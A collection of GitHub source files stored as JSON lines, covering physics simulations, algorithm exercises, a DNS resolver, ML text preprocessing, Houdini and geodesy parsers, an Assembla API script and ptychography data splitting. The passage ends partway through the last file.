+{"seq_id":"26766401340","text":"import FWCore.ParameterSet.Config as cms\n\n# load common code\nimport direct_simu_reco_cff as profile\nprocess = cms.Process('CTPPSTestXYPattern', profile.era)\nprofile.LoadConfig(process)\n\n# set wide angle coverage\nprocess.generator.theta_x_sigma = 200E-6\nprocess.generator.theta_y_sigma = 200E-6\n\n# minimal logger settings\nprocess.MessageLogger = cms.Service(\"MessageLogger\",\n  statistics = cms.untracked.vstring(),\n  destinations = cms.untracked.vstring('cout'),\n  cout = cms.untracked.PSet(\n    threshold = cms.untracked.string('WARNING')\n  )\n)\n\n# number of events\nprocess.maxEvents = cms.untracked.PSet(\n  input = cms.untracked.int32(10000)\n)\n\n# distribution plotter\nprocess.ctppsTrackDistributionPlotter = cms.EDAnalyzer(\"CTPPSTrackDistributionPlotter\",\n  tagTracks = cms.InputTag(\"ctppsLocalTrackLiteProducer\"),\n\n  rpId_45_F = process.rpIds.rp_45_F,\n  rpId_45_N = process.rpIds.rp_45_N,\n  rpId_56_N = process.rpIds.rp_56_N,\n  rpId_56_F = process.rpIds.rp_56_F,\n\n  outputFile = cms.string(\"test_xy_pattern.root\")\n)\n\n# processing path\nprocess.p = cms.Path(\n  process.generator\n  * process.beamDivergenceVtxGenerator\n  * process.ctppsDirectProtonSimulation\n\n  * process.reco_local\n  \n  * process.ctppsTrackDistributionPlotter\n)\n","repo_name":"jan-kaspar/proton_simulation_validation","sub_path":"templates/test_xy_pattern_cfg.py","file_name":"test_xy_pattern_cfg.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"16352797933","text":"\"\"\"\n\n面试题26：树的子结构\n题目：输入两棵二叉树A和B，判断B是不是A的子结构。\n\n\"\"\"\n\nclass Node:\n    def __init__(self, val):\n        self.val = val\n        self.left = None\n        self.right = None\n\nclass Solution:\n    def sub_struct(self, tree1, tree2):\n        result = False\n\n        # tree1中与tree2根节点相等的点判断是否是子结构\n        if tree1 is not None and tree2 is not None:\n            if tree1.val == tree2.val:\n                result = self.is_sub(tree1, tree2)\n            if not result:\n                result = self.sub_struct(tree1.left, tree2)\n            if not result:\n                result = self.sub_struct(tree1.right, tree2)\n\n        return result\n\n    def is_sub(self, tree1, tree2):\n        # node2分枝到叶节点均相等，返回True\n        if tree2 is None:\n            return True\n\n        # tree2不为空，tree1为空，返回False\n        if tree1 is None:\n            return False\n\n        # 中间节点不相等，返回False\n        if tree1.val != tree2.val:\n            return False\n\n        # 返回子树是否相等\n        return self.is_sub(tree1.left, tree2.left) and self.is_sub(tree1.right, tree2.right)\n\nif __name__ == '__main__':\n    node1 = Node(8)\n    node2 = Node(8)\n    node3 = Node(7)\n    node4 = Node(9)\n    node5 = Node(2)\n    node6 = Node(4)\n    node7 = Node(7)\n\n    node8 = Node(8)\n    node9 = Node(9)\n    node10 = Node(2)\n\n    node1.left = node2\n    node1.right = node3\n    node2.left = node4\n    node2.right = node5\n    node5.left = node6\n    node5.right = node7\n\n    node8.left = node9\n    node8.right = node10\n\n    S = Solution()\n    is_sub_struct = S.sub_struct(node1, node8)\n    if is_sub_struct:\n        print(\"tree2 is substructure of tree1\")\n    else:\n        print(\"tree2 is not substructure of tree1\")\n","repo_name":"MemoryForSky/Data-Structures-and-Algorithms","sub_path":"my_target_offer/26_substructure_In_Tree.py","file_name":"26_substructure_In_Tree.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21383517570","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 13 09:31:41 2019\r\n\r\n@author: Jacinto Paulo\r\nProfessor: Leonardo Machado\r\nDisciplina: Física Computacional I\r\nLista 10 - Problema 1\r\n\r\n\"\"\"\r\nimport pylab as pl\r\nfrom numpy import array, arange, sin, cos, sqrt\r\n\r\n# Parâmetros e condições iniciais\r\n\r\ntime_a = 0\r\ntime_b = 100 # s\r\ng = 9.81 # ms^-1\r\nl = 0.1 # m\r\nC = 2 # s^-2\r\n\"\"\"\r\n#Letra (a) \r\nOmega = 5 # s^-1\r\n\"\"\"\r\n# Letra (b)\r\nOmega = sqrt(g/l) # frequência natural do oscilador \r\n\r\n\r\ndef f(r, t):\r\n    theta = r[0]\r\n    omega = r[1]\r\n    ftheta = omega\r\n    fomega = -(g/l)*sin(theta) + C*cos(theta)*sin(Omega*t)\r\n    \r\n    return array([ftheta, fomega], float)\r\n\r\ndef RK4(r, t):\r\n    k1 = h*f(r, t)\r\n    k2 = h*f(r+k1/2, t+h/2)\r\n    k3 = h*f(r+k2/2, t+h/2)\r\n    k4 = h*f(r+k3, t+h)\r\n    \r\n    return r + (1/6)*(k1+2*k2+2*k3+k4)\r\n\r\n# Resolvendo EDO\r\nh = 0.01\r\ntpoints = arange(time_a, time_b, h)\r\nthetapoints = []\r\nomegapoints = []\r\nr = array([0, 0], float)\r\n\r\nfor t in tpoints:\r\n    thetapoints.append(r[0])\r\n    omegapoints.append(r[1])\r\n    r = RK4(r, t)\r\n\r\n\r\n\"\"\"\r\n# Letra A\r\n\r\npl.plot(tpoints, thetapoints, color='c', label='$\\Omega = 5 s^{-1}$')\r\npl.legend()\r\npl.title('Theta em Função do Tempo')\r\npl.xlabel('$t$')\r\npl.ylabel('$\\Theta(t) $')\r\npl.show()\r\npl.clf()\r\n\"\"\"\r\n# Letra B\r\n\r\npl.plot(tpoints, thetapoints, color='orange', label='$\\Omega = \\sqrt{\\dfrac{g}{L}} \\,\\, s^{-1}$')\r\npl.legend()\r\npl.title('Theta em Função do Tempo')\r\npl.xlabel('$t$')\r\npl.ylabel('$\\Theta(t) $')\r\npl.show()\r\n","repo_name":"jacintoneto/python_computational_physics","sub_path":"Unidade 3/Listas/Lista 10/l10p1.py","file_name":"l10p1.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33715943710","text":"import asyncio\nimport socket\nfrom concurrent.futures import CancelledError\nfrom typing import Any, Dict, List, Optional\n\nimport aiodns\n\nfrom aiohttp.abc import AbstractResolver\n\n\nclass SingleDnsStatus:\n    addresses: List[str]\n    exception: Optional[Exception]\n\n    def __init__(self, addresses: List[str], exception: Optional[Exception] = None) -> None:\n        self.addresses = addresses\n        self.exception = exception\n\n\nclass MultiDnsStatus:\n    ipv4: SingleDnsStatus\n    ipv6: SingleDnsStatus\n\n    def __init__(self, ipv4: SingleDnsStatus, ipv6: SingleDnsStatus) -> None:\n        self.ipv4 = ipv4\n        self.ipv6 = ipv6\n\n\nclass PrecachedAsyncResolver(AbstractResolver):\n    _resolver: aiodns.DNSResolver\n    _statuses: Dict[str, MultiDnsStatus]\n\n    def __init__(self) -> None:\n        self._resolver = aiodns.DNSResolver()\n        self._statuses = {}\n\n    async def _dns_request(self, host: str, family: int) -> SingleDnsStatus:\n        try:\n            addresses = (await self._resolver.gethostbyname(host, family)).addresses\n            if addresses:\n                return SingleDnsStatus(addresses)\n            return SingleDnsStatus([], aiodns.error.DNSError(1, 'DNS server returned answer with no data'))\n        except (KeyboardInterrupt, CancelledError, MemoryError):\n            raise  # pragma: no cover\n        except Exception as e:\n            return SingleDnsStatus([], e)\n\n    async def get_host_status(self, host: str) -> MultiDnsStatus:\n        if host in self._statuses:\n            return self._statuses[host]\n\n        status = MultiDnsStatus(*await asyncio.gather(\n            asyncio.create_task(self._dns_request(host, socket.AF_INET)),\n            asyncio.create_task(self._dns_request(host, socket.AF_INET6))\n        ))\n\n        self._statuses[host] = status\n        return status\n\n    async def resolve(self, host: str, port: int = 0, family: int = socket.AF_INET) -> List[Dict[str, Any]]:\n        multistatus = await self.get_host_status(host)\n        status = multistatus.ipv4 if family == socket.AF_INET else multistatus.ipv6\n\n        if status.exception:\n            raise status.exception\n\n        return [\n            {\n                'hostname': host,\n                'host': address,\n                'port': port,\n                'family': family,\n                'proto': 0,\n                'flags': socket.AI_NUMERICHOST\n            } for address in status.addresses\n        ]\n\n    async def close(self) -> None:\n        self._resolver.cancel()\n","repo_name":"repology/repology-linkchecker","sub_path":"linkchecker/resolver.py","file_name":"resolver.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"41152946269","text":"import unittest\nimport jsonschema\nimport logging\nimport os\n\nfrom ecflow_cloudwatch.ecflow_state_parser import EcflowStateParser\nfrom ecflow_cloudwatch.metric_aggregator import MetricAgregator\nimport json\n\nimport ecflow\n\n\n\nclass TestParseEcflowStats(unittest.TestCase):\n\n    def setUp(self):\n        parser = EcflowStateParser(self.get_test_data(), fetch_new=False)\n        self.default_dimensions = dict(Env=\"test\")\n        self.metrics = parser.parse()\n        self.aggregator = MetricAgregator(metrics=self.metrics, default_dimensions=self.default_dimensions)\n        #print json.dumps(self.metrics, indent=4)\n\n    def get_test_data(self):\n        cwd = os.getcwd()\n        ecflow_states_test_data_sets = \"{}/data/ecflow_sample_state\".format(cwd)\n        #ecflow_states_test_data_sets = \"{}/data/ecflow_state_staging\".format(cwd)\n        return ecflow.Defs(ecflow_states_test_data_sets)\n\n    def testPrepareCloudwatchMetrics(self):\n        counts = self.aggregator.get_counts()\n        self.assertTrue(len(counts)>0)\n\n    def testEcflowParser(self):\n        #print(json.dumps(self.metrics, indent=4))\n        self.assertTrue(len(self.metrics)>0)\n\n    def testAggregatorCount(self):\n        counts = self.aggregator.get_counts()\n        #print json.dumps(counts, indent=4)\n        with open(\"{}/data/counts.json\".format(os.getcwd())) as cjs:\n            schema_data = cjs.read()\n        schema = json.loads(schema_data)\n        jsonschema.validate(counts, schema)\n\n    def testGetMeters(self):\n        output = self.aggregator.get_metrics_meters()\n        #print json.dumps(output, indent=4)\n        self.assertTrue(type(output) == list)\n\n\n    def testGetAbortedTaskList(self):\n        output = self.aggregator.get_aborted_task_list()\n        #print json.dumps(output, indent=4)\n\n    def testDimension(self):\n        output = self.aggregator.get_aborted_task_list()\n        dimensions = [dict(Name=key,Value=value) for key, value in self.default_dimensions.iteritems()]\n        for dimension in dimensions:\n            for data in output:\n                self.assertTrue(dimension in data['Dimensions'])\n","repo_name":"MeteoGroup/hpc-ecflow-cloudwatch","sub_path":"test/test_parse_ecflow_status.py","file_name":"test_parse_ecflow_status.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42885809300","text":"'''\n@author: Michael Guarino\ndesc: this file preprocesses text data before sending it into the lstm\n'''\n\nimport re, os, csv\nimport itertools, operator\nimport numpy as np\nfrom nltk.tokenize import StanfordTokenizer\nfrom utils import DATA_DIR, SEQUENCE_LENGTH\n\n\nclass ProcessData:\n\n    def __init__(self):\n        '''\n        desc: constructor for class\n        '''\n    #end\n\n    def _readFile(self, file):\n        '''\n        desc: reads in a file when passed a path\n        args: path to file as a string\n        returns: text corpus as string\n        '''\n        with open(file) as data:\n            txtDoc = data.read()\n        #TODO remove '\\'' in text string\n        txtDoc = re.sub('[.!?]\\s+', '<eos> <sos>', txtDoc)\n        txtDoc = re.sub('[,-]', '', txtDoc)\n        return txtDoc\n    #end\n\n    def _padSeq(self, txtDocTokBySeq):\n        '''\n        desc: given document separated by sequence tokenized will pad the sequence so\n              that all sequences are the same length\n        args: given list representing a document separated by sequence tokenized\n        returns: list representing a document separated by sequence tokenized\n                 padded to ensure that all sequences are the same length\n        '''\n        for i_numSeq in range(len(txtDocTokBySeq)):\n            diff = SEQUENCE_LENGTH - len(txtDocTokBySeq[i_numSeq])\n            if(diff == 0):\n                continue\n            elif(diff < 0):\n                txtDocTokBySeq[i_numSeq][:-diff]\n            elif(diff > 0):\n                for pad in range(diff):\n                    txtDocTokBySeq[i_numSeq].append('|||$$$PAD$$$|||')\n        return txtDocTokBySeq\n    #end\n\n    def _buildVocLookUp(self, txtDocTokBySeqPad, runType):\n        '''\n        desc: given a document separated by sequence tokenized and padded return\n              a dictionary lookup for each word in the given input. The vocLookup\n              dictionary is written to a csv for use during testing. If testing\n              build vocLookup dictionary from vocLookup csv.\n        args: list representing document separated by sequence tokenized and padded\n        returns: dictionary lookup for each work in the given input\n        '''\n        unqVoc = sorted(set(list(itertools.chain.from_iterable(txtDocTokBySeqPad))))\n        unqVoc_LookUp = {v:k for k,v in enumerate(unqVoc)}\n        if (runType=='training'):\n            with open('vocLookup.csv', 'w') as csv_file:\n                writer = csv.writer(csv_file)\n                for key, value in unqVoc_LookUp.items():\n                    writer.writerow([key, value])\n        elif (runType=='testing'):\n            with open('vocLookup.csv', 'r') as csv_file:\n                reader = csv.reader(csv_file)\n                unqVoc_LookUp = {rows[0]:int(rows[1]) for rows in reader}\n        return unqVoc_LookUp\n    #end\n\n    def _oneHotEncode(self, txtDocTokBySeqPad, unqVoc_LookUp, runType):\n        '''\n        desc: one hot encodes entire document separated by sequence tokenized\n              and padded\n        args: given list representing a document separated by sequence tokenized\n              and a look up dictionary to determine value of words\n        returns: a one hot encoded 3 dimensional matrix of training data and\n                 testing data, which represents the next element in the\n                 sequence\n        '''\n        numSeqs = len(txtDocTokBySeqPad)\n        #sort words by item values\n        numUnqW = sorted(unqVoc_LookUp.items(), key=operator.itemgetter(1))[-1][1]\n        oheTrainData = np.zeros((numSeqs, SEQUENCE_LENGTH, numUnqW+1))\n        if(runType == 'training'):\n            oheTrainLabel = np.zeros((numSeqs, SEQUENCE_LENGTH, numUnqW+1))\n\n        for i_numSeq in range(numSeqs):\n            for j_seqLen, tok in enumerate(txtDocTokBySeqPad[i_numSeq]):\n                if(j_seqLen==(SEQUENCE_LENGTH-2)):\n                    break\n\n                assert(tok in unqVoc_LookUp), 'not accepted, word not in corpus'\n                tok = unqVoc_LookUp[tok]\n                oheTrainData[i_numSeq][j_seqLen][tok] = 1\n\n                if(runType == 'training'):\n                    nextTok = unqVoc_LookUp[txtDocTokBySeqPad[i_numSeq][j_seqLen + 1]]\n                    oheTrainLabel[i_numSeq][j_seqLen][nextTok] = 1\n\n        if(runType == 'training'):\n            return [oheTrainData, oheTrainLabel]\n        else:\n            return oheTrainData\n    #end\n\n    def oneHotDecode(self, inputOHE, unqVoc_LookUp):\n        '''\n        desc: decodes single one hot encoded input value\n        args: given one hot encoded input\n        returns: the class taht the one hot encoded vector belongs to\n        '''\n        indexOfclass = np.argmax(inputOHE)\n        decodedClass = list(unqVoc_LookUp.keys())[list(unqVoc_LookUp.values()).index(indexOfclass)]\n        return decodedClass\n    #end\n\n    def dtm_builder(self, runType):\n        '''\n        desc: this function coordinates all activities of data processing\n              and within the function tokenizes all elements of the sequence\n        returns: a one hot encoded 3 dimensional matrix of training data and\n                 testing data, which represents the next element in the\n                 sequence\n        '''\n        if (runType=='training'):\n            dataFiles = ['{}/{}'.format(DATA_DIR, file) for file in os.listdir(DATA_DIR) if file.endswith('.txt')]\n            allTxt = '<eos>'.join([self._readFile(file) for file in dataFiles])\n        elif (runType=='testing'):\n            inputString = input('Enter test string: ')\n            allTxt = inputString\n            assert(type(allTxt)==str), 'input must be a string'\n\n        allTxtTok = StanfordTokenizer().tokenize(allTxt)\n        allTxt_allSeq = '||*||'.join(allTxtTok).split('<eos>')\n        allTxt_bySeq = [seq.split('||*||') for seq in allTxt_allSeq]\n        allTxt_bySeq = [list(filter(None, seq)) for seq in allTxt_bySeq]\n        for seq in allTxt_bySeq: seq.append('<eos>')\n        txtDocTokBySeqPad = self._padSeq(allTxt_bySeq)\n        unqVoc_LookUp = self._buildVocLookUp(txtDocTokBySeqPad, runType)\n        if(runType == 'training'):\n            oheTrainData, oheTrainLabel = self._oneHotEncode(txtDocTokBySeqPad, unqVoc_LookUp, runType)\n            return [oheTrainData, oheTrainLabel]\n        else:\n            oheTrainData = self._oneHotEncode(txtDocTokBySeqPad, unqVoc_LookUp, runType)\n            return [oheTrainData, unqVoc_LookUp, inputString]\n    #end\n#end\n","repo_name":"MichaelGuarin0/cmpt440Guarino","sub_path":"prj/writeup/code/processData.py","file_name":"processData.py","file_ext":"py","file_size_in_byte":6451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31833494971","text":"N = int(input())\n\ncount = N//5\nN1 = N%5\nif N1%3 :\n    for i in range(count,-1,-1):\n        N2 = N - 5*i\n        if N2%3 == 0:\n            count = N2//3 + i\n            break\n    else :\n        count = -1\nelse :\n    count += N1//3\n\nprint(count)","repo_name":"SoraChalry/algorithm","sub_path":"problem-solving/Baekjoon/8step/2839_sol.py","file_name":"2839_sol.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35496876949","text":"import os\nimport traceback\n\nimport pyblish.api\n\n\nclass ExtractFxLayerUSD(pyblish.api.InstancePlugin):\n\n    order = pyblish.api.ExtractorOrder + 0.2\n    label = \"Extract Fx Layer USD Export\"\n    # hosts = [\"houdini\"]\n    families = [\n        \"reveries.fx.layer_prim\",\n    ]\n\n    def process(self, instance):\n        from reveries.common.build_delay_run import DelayRunBuilder\n\n        ropnode = instance[0]\n\n        # Get the filename from the filename parameter\n        output = ropnode.evalParm(\"lopoutput\")\n        usd_type = ropnode.evalParm(\"usdType\")\n\n        # Set custom staging dir\n        staging_dir, filename = os.path.split(output)\n\n        instance.data[\"repr.USD._stage\"] = staging_dir\n        instance.data[\"repr.USD._files\"] = [filename]\n        instance.data[\"repr.USD.entryFileName\"] = filename\n        instance.data[\"subsetGroup\"] = \"Fx\"\n        instance.data[\"usd_type\"] = usd_type\n\n        instance.data[\"_preflighted\"] = True\n\n        # Create delay running\n        delay_builder = DelayRunBuilder(instance)\n\n        instance.data[\"deadline_plugin\"] = \"HoudiniBatch\"\n\n        instance.data[\"repr.USD._delayRun\"] = {\n            \"func\": self.export_usd,\n            \"args\": [\n                delay_builder.instance_data, delay_builder.context_data,\n                ropnode\n            ],\n            # \"order\": 10\n        }\n\n    def export_usd(self, instance_data, context_data, node_name):\n        import hou\n\n        # Export usd\n        try:\n            node = hou.node(\"/out/{}\".format(node_name))\n            if node:\n                node.render()\n                self._publish_instance(instance_data, context_data=context_data)\n            else:\n                msg = \"Export fx layer failed, node \\\"{}\\\" not exists.\".\\\n                    format(node_name)\n                raise RuntimeError(msg)\n\n        except hou.Error as exc:\n            print(\"FX layer export failed: {}\".format(traceback.print_exc()))\n            raise RuntimeError(\"Render failed: {0}\".format(exc))\n\n    def _publish_instance(self, instance_data, context_data=None):\n        # === Publish instance === #\n        from reveries.common.publish import publish_instance\n\n        publish_instance.run(instance_data, context=context_data)\n","repo_name":"davidlatwe/reveries-config","sub_path":"plugins/usd/houdini/publish/extract_fx_layer.py","file_name":"extract_fx_layer.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"2974104542","text":"import subprocess\nimport json\nimport os\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\napi_key = os.getenv(\"ASSEMBLA_KEY\")\napi_secret = os.getenv(\"ASSEMBLA_SECRET\")\n\n\ndef main():\n    make_json_file_of_users_spaces(api_key, api_secret)\n\n\ndef make_json_file_of_users_spaces(key, secret):\n    call_api_for_json_of_spaces = f\"curl -H 'X-Api-Key: {key}' -H 'X-Api-Secret: {secret}' https://api.assembla.com/v1/spaces.json\"\n    output_raw = subprocess.run(\n        call_api_for_json_of_spaces,\n        shell=True,\n        text=True,\n        capture_output=True,\n    ).stdout\n\n    # Remove all the `\\\\r\\\\n` from output_raw\n    parsed_data = json.loads(output_raw)\n    with open(\"data/users_spaces.json\", \"w\") as json_of_users_spaces:\n        json.dump(parsed_data, json_of_users_spaces, indent=4)\n    return parsed_data\n\n\n# Str -> List\ndef make_list_of_space_ids(str):\n    \"\"\"\n    Given a JSON filepath of all the spaces a user belongs to, pull out the ID of each Space\n    \"\"\"\n    list_of_space_ids = []\n    with open(str, \"r\") as user_spaces_json:\n        user_spaces = json.load(user_spaces_json)\n    for space in user_spaces:\n        list_of_space_ids.append(space[\"id\"])\n    return list_of_space_ids\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"honboey/clone-assembla-repos","sub_path":"get_assembla_spaces.py","file_name":"get_assembla_spaces.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74439024649","text":"\"\"\"A parser for reading SLR handling file\n\nDescription:\n------------\n\nA parser for reading the ILRS Data handling file from DGFI. This file summarizes information on range-, time- or pressure biases and data to be deleted. It is adopted by the ILRS Analysis Working Group. \n\nReferences:\n-----------\n\nhttp://ilrs.dgfi.tum.de/fileadmin/data_handling/ILRS_Data_Handling_File.snx\n\n\"\"\"\n# Standard library imports\nfrom datetime import datetime\n\n# Midgard imports\nfrom midgard.dev import plugins\nfrom midgard.parsers._parser_sinex import SinexParser, SinexBlock, SinexField\nfrom midgard.dev import log\n\n\n@plugins.register\nclass SlrHandlingFileParser(SinexParser):\n    \"\"\"A parser for reading SLR handling file\n    \"\"\"\n\n    def __init__(self, file_path, encoding=None, header=None):\n        \"\"\"Set up the basic information needed by the parser\n\n        Turn off parsing of header by default, as the header contains a mistake\n\n        Args:\n            file_path (String/Path):    Path to file that will be read.\n            encoding (String):          Encoding of file that will be read.\n            header (Boolean):           Whether to parse the header.\n        \"\"\"\n        super().__init__(file_path, encoding)\n        self._header = False if header is None else header\n\n    def setup_parser(self):\n        return (self.solution_data_handling,)\n\n    @property\n    def solution_data_handling(self):\n        \"\"\"\n\n        Example:\n            *CODE PT UNIT T _DATA_START_ __DATA_END__ M __E-VALUE___ STD_DEV _E-RATE__ CMNTS\n             1863 --      A 00:000:00000 94:001:00000 X\n             1864 --      A 02:070:00000 02:101:00000 X\n        \"\"\"\n        return SinexBlock(\n            marker=\"SOLUTION/DATA_HANDLING\",\n            fields=(\n                SinexField(\"site_code\", 1, \"U4\"),\n                SinexField(\"point_code\", 6, \"U2\"),  # TODO \"---\" means all satellites, not sure what L55 etc means.\n                SinexField(\"unit\", 9, \"U4\"),\n                SinexField(\n                    \"obs_code\", 14, \"U1\"\n                ),  # TODO: Indicates if information involves first or second wavelength?\n                SinexField(\"start_time\", 16, \"O\", \"epoch\"),\n                SinexField(\"end_time\", 29, \"O\", \"epoch\"),\n                SinexField(\"handling_code\", 42, \"U1\"),  # Indicated what is to be done with the data.\n                SinexField(\"e_value\", 44, \"U12\"),\n                SinexField(\"std_dev\", 57, \"U7\"),\n                SinexField(\"comments1\", 65, \"U9\"),\n                SinexField(\"comments2\", 75, \"U7\"),\n            ),\n            parser=self.parse_data_handling,\n        )\n\n    def parse_data_handling(self, data):\n        for d in data:\n            start_time = datetime.min if d[\"start_time\"] is None else d[\"start_time\"]\n            end_time = datetime.max if d[\"end_time\"] is None else d[\"end_time\"]\n            interval = (start_time, end_time)\n            info = {\"unit\": d[\"unit\"]}\n\n            if d[\"e_value\"]:\n                try:\n                    e_value = float(d[\"e_value\"])\n                except ValueError:\n                    log.fatal(\"ILRS Data handling: Not able to convert value to float\")\n                info.update({\"e_value\": e_value})\n            if d[\"std_dev\"]:\n                try:\n                    std_dev = float(d[\"std_dev\"])\n                except ValueError:\n                    log.fatal(\"ILRS Data handling: Not able to convert value to float\")\n                info.update({\"std_dev\": std_dev})\n\n            # Unfortunately we have to deal with two different line formats.\n            # Split the comments field in the second line format:\n            # *CODE PT_ UNIT T _DATA_START_ __DATA_END__ M __E-VALUE___ STD_DEV ___COMMENTS______\n            # *CODE PT_ UNIT T _DATA_START_ __DATA_END__ M __E-VALUE___ STD_DEV _E-RATE__ _CMNTS_\n            try:\n                info.update({\"comments\": d[\"comments2\"], \"e_rate\": float(d[\"comments1\"])})\n            except ValueError:\n                info.update({\"comments\": d[\"comments1\"] + d[\"comments2\"]})\n\n            self.data.setdefault(d[\"site_code\"], {}).setdefault(d[\"handling_code\"], []).append((interval, info))\n","repo_name":"kartverket/where","sub_path":"where/parsers/slr_handling_file.py","file_name":"slr_handling_file.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"16"}
+{"seq_id":"3193420056","text":"# 演習１\n# 演習０の animal.py をこのフォルダ（ex1）にコピーして下さい。\n#\n# １）\n# ３種類の動物のインスタンスを作成して下さい。\n# その後、それらの動物の種類と鳴き方の説明を\n# 「（種類）は（鳴き方）と鳴きます）」と出力して下さい。\n# ※インスタンス変数を直接参照してOKです\n#\n# ２）\n# インスタンス変数を直接変更する方法で、\n# すべての動物の鳴き方を変更して下さい。\n# その後、それぞれの動物のインスタンスに対して\n# 回数を指定してcrowing を実行してください。\n#\nfrom animal import Animal\n\nanimal1 = Animal(\"ひよこ\", \"ぴよぴよ\")\nprint(f\"{animal1.kind}は{animal1.bark}と鳴きます\\n\")\n\nanimal2 = Animal(\"ぞうさん\", \"ぱおーん\")\nprint(f\"{animal2.kind}は{animal2.bark}と鳴きます\\n\")\n\nanimal3 = Animal(\"きりんさん\", \"きりんです\")\nprint(f\"{animal3.kind}は{animal3.bark}と鳴きます\\n\")\n\nanimal1.bark = \"ひよひよ\"\nanimal2.bark = \"はおはお\"\nanimal3.bark = \"むきむき\"\n\nanimal1.crowing(3)\nanimal2.crowing(3)\nanimal3.crowing(0)\n","repo_name":"Masaru-DaL/School","sub_path":"term.2/PythonProgramming_b/2022.07.07/ex1/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5201599392","text":"import itertools\nimport typing\nimport logging\n\nimport cupy as cp\nimport cupyx\nimport numpy as np\nimport numpy.typing as npt\n\nimport tike.communicators\n\nlogger = logging.getLogger(__name__)\n\n\ndef _split_gpu(m, x, dtype):\n    return cp.asarray(x[m], dtype=dtype)\n\n\ndef _split_host(m, x, dtype):\n    return np.asarray(x[m], dtype=dtype)\n\ndef _split_pinned(m, x, dtype):\n    unpinned = x[m]\n    pinned = cupyx.empty_like_pinned(x[m], dtype=dtype)\n    pinned[:] = unpinned\n    return pinned\n\n\ndef by_scan_grid(\n    *args,\n    pool: tike.communicators.ThreadPool,\n    shape: typing.Tuple[int],\n    dtype: typing.List[npt.DTypeLike],\n    destination: typing.List[str],\n    scan: npt.NDArray[np.float32],\n    fly: int = 1,\n):\n    \"\"\"Split the field of view into a 2D grid.\n\n    Mask divide the data into a 2D grid of spatially contiguous regions.\n\n    Parameters\n    ----------\n    shape : tuple of int\n        The number of grid divisions along each dimension.\n    dtype : List[str]\n        The datatypes of the args after splitting.\n    scan : (nscan, 2) float32\n        The 2D coordinates of the scan positions.\n    args : (nscan, ...) float32 or None\n        The arrays to be split by scan position.\n    fly : int\n        The number of scan positions per frame.\n\n    Returns\n    -------\n    order : List[array[int]]\n        The locations of the inputs in the original arrays.\n    scan : List[array[float32]]\n        The divided 2D coordinates of the scan positions.\n    args : List[array[float32]] or None\n        Each input divided into regions or None if arg was None.\n\n    \"\"\"\n    if len(shape) != 2:\n        raise ValueError('The grid shape must have two dimensions.')\n    vstripes = by_scan_stripes(scan, shape[0], axis=0, fly=fly)\n    hstripes = by_scan_stripes(scan, shape[1], axis=1, fly=fly)\n    mask = [\n        np.logical_and(*pair) for pair in itertools.product(vstripes, hstripes)\n    ]\n\n    order = np.arange(scan.shape[-2])\n    order = [order[m] for m in mask]\n\n    split_args = []\n    for arg, t, dest in zip([scan, *args], dtype, destination):\n        if arg is None:\n            split_args.append(None)\n        else:\n            split_args.append(\n                pool.map(\n                    _split_gpu if dest == 'gpu' else _split_pinned,\n                    mask,\n                    x=arg,\n                    dtype=t,\n                ))\n\n    return (order, *split_args)\n\n\ndef by_scan_stripes(\n    scan,\n    n: int,\n    fly: int = 1,\n    axis: int = 0,\n) -> typing.List[npt.NDArray[bool]]:\n    \"\"\"Return `n` boolean masks that split the field of view into stripes.\n\n    Mask divide the data into spatially contiguous regions along the position\n    axis.\n\n    Split scan into three stripes:\n    >>> [scan[s] for s in by_scan_stripes(scan, 3)]\n\n    FIXME: Only uses the first view to divide the positions. Assumes the\n    positions on all angles are distributed similarly.\n\n    Parameters\n    ----------\n    scan : (nscan, 2) float32\n        The 2D coordinates of the scan positions.\n    n : int\n        The number of stripes.\n    fly : int\n        The number of scan positions per frame.\n    axis : int (0 or 1)\n        Which spatial dimension to divide along. i.e. horizontal or vertical.\n\n    Returns\n    -------\n    mask : list of (nscan, ) boolean\n        A list of boolean arrays which divide the scan positions into `n`\n        stripes.\n\n    \"\"\"\n    if scan.ndim != 2:\n        raise ValueError('scan must have two dimensions.')\n    if n < 1:\n        raise ValueError('The number of stripes must be > 0.')\n\n    nscan, _ = scan.shape\n    if (nscan // fly) * fly != nscan:\n        raise ValueError('The number of scan positions must be an '\n                         'integer multiple of the number of fly positions.')\n\n    # Reshape scan so positions in the same fly scan are not separated\n    scan = scan.reshape(nscan // fly, fly, 2)\n\n    # Determine the edges of the horizontal stripes\n    edges = np.linspace(\n        scan[..., axis].min(),\n        scan[..., axis].max(),\n        n + 1,\n        endpoint=True,\n    )\n\n    # Move the outer edges to include all points\n    edges[0] -= 1\n    edges[-1] += 1\n\n    # Generate masks which put points into stripes\n    return [\n        np.logical_and(\n            edges[i] < scan[:, 0, axis],\n            scan[:, 0, axis] <= edges[i + 1],\n        ).repeat(fly) for i in range(n)\n    ]\n\n\ndef wobbly_center(population, num_cluster):\n    \"\"\"Return the indices that divide population into heterogenous clusters.\n\n 